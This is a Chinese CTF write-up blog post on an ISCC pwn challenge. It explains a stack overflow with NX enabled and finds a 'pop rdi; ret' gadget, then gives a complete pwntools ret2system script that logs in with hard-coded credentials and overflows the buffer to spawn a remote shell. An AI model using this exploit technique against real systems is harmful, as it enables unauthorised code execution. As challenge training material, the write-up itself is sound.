180503 Pwn-ISCC(1)

5 篇文章 0 订阅

pwn复健的第一题(:з」∠)还好比较简单
简单分析一下,在Menu中存在栈溢出,并且没有Canary保护
不过有NX保护,因此无法直接传入Shellcode

查了一下pwn的相关知识,发现这里导入了system函数,因此可以直接使用ret2system来getshell

system传参的寄存器是edi
这个常识级别的东西因为不记得,导致用栈传参试了半天不知道为啥错orz发现这个点也算大有收获啦

查找pop rdi;ret的shellcode,发现有一处满足需求

root@kali:~/ctf/iscc# ROPgadget –binary pwn50 –only ‘pop|ret’ | grep rdi
0x0000000000400b03 : pop rdi ; ret

/bin/sh当然就放在bss段了,这个地址也已知

Payload如下:

from pwn import *

#r = process("./pwn50")
r = remote('47.104.16.75',9000)
# 填充栈+ebp+(pop rdi;ret)+(&str)+(&system)
payload = 'a'*0x50 + 'a'*8 + p64(0x400b03) + p64(0x601100) + p64(0x400630)
log.info(r.recvuntil(":"))
r.sendline("admin")
log.info(r.recvuntil(":"))
r.sendline("T6OBSh2i")
log.info(r.recvuntil(":"))
r.sendline('1')
log.info(r.recvuntil(":"))
r.sendline('/bin/sh')
log.info(r.recvuntil(":"))
r.sendline(payload)
log.info(r.recvuntil(":"))
r.sendline('3')
r.interactive()

后来查看_system的调用发现在ExecCMD函数中有现成的payload
这里写图片描述

因此payload可以直接控制跳转到0x40084a即可,当然一般没有这么好的代码啦233

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值